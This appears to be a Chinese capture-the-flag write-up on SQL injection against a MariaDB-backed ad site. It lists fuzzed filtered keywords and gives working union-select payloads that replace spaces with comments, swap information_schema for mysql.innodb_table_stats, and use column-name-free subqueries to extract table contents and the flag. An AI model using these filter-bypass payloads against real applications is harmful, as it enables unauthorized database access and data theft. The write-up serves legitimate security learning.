WEB—无列名注入与过滤information_schema

  • Post author:
  • Post category:其他


一开始由于注册admin的时候,告知用户已被注册,以为需要爆破admin密码,失败后尝试万能密码,发现也不行。。。注册新用户后又对广告的xss研究半天,虽然怀疑过SQL,后来没想到真的是SQL注入

知识点

  • 无列名注入

  • 过滤information_schema

随便注册一个账户登录,进去后可以发布广告【千万不要写入一个xss,弹来弹去,盲猜你们会尝试】

发布一个广告名为:



1'



,内容随意

点击广告详情,弹出关键报错信息,数据库为

MariaDB


继续注入,发布一个广告名为:


1′ and 1=1

提示含有敏感信息,fuzz测试一下

`

~

!

@

#

$

%

^

&

*

(

)



_

=

+

[

]

{


}

|

\

;

:





,

.

<

>

/

?



–+

/**/

&&

||

<>

!(<>)

and

or

xor

if

not

select

sleep

union

from

where

order

by

concat

group

benchmark

length

in

is

as

like

rlike

limit

offset

distinct

perpare

declare

database

schema

information

table

column

mid

left

right

substr

handler

ascii

set

char

hex

updatexml

extractvalue

regexp

floor

having

between

into

join

file

outfile

load_file

create

drop

convert

cast

show

user

pg_sleep

reverse

execute

open

read

first

case

end

then

iconv

greatest

这里fuzz测试由于广告数有上限,所以得分批排查,or、order by、information_schema、空格等都被过滤

无列名注入:

由于information_schema被过滤,但是在Maria数据库下的这个表可以查表名:


mysql.innodb_table_stats

构造查询回显字段位的payload(空格用/**/代替):

1’/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22′

查询数据库

1’/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22′

查询表

1’/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22′

那么现在已经查询到了两个表,如何查询里面的内容呢?

举个例子

首先创建一个名为buuctf的表,再创一个web的表

插入几条数据

mysql> insert into web values(1,’hello’,’python’),(2,’hello’,’java’),(3,’hello’,’ruby’);

一、正常的查询如下:

二、那么如果再加一个union呢?这里看到我们的列名被1,2,3代替了。这也就是说,我们可以使用数字来代替列,如3代替了address

三、利用数字3代替未知的列名,注意这里需要在3前后加上反引号,而末尾的a为必须添加的别名(写啥都行,只是别名)

四、当 ` 不能使用时,用别名来代替

构造查询表字段的payload:

1’/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22′

如果说第二个字段为flag,admin和sganyu的话,那么第三个字段即为内容了,如下图

select group_concat(b) from (select 1,2 as b,3 union select * from web)a;

select group_concat(b) from (select 1,2,3 as b union select * from web)a;

构造查询flag的payload:

1’/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,/**/3/**/as/**/b/**/union/**/select/**/*/**/from/**/web1.users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22′



版权声明:本文为qq_58784379原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。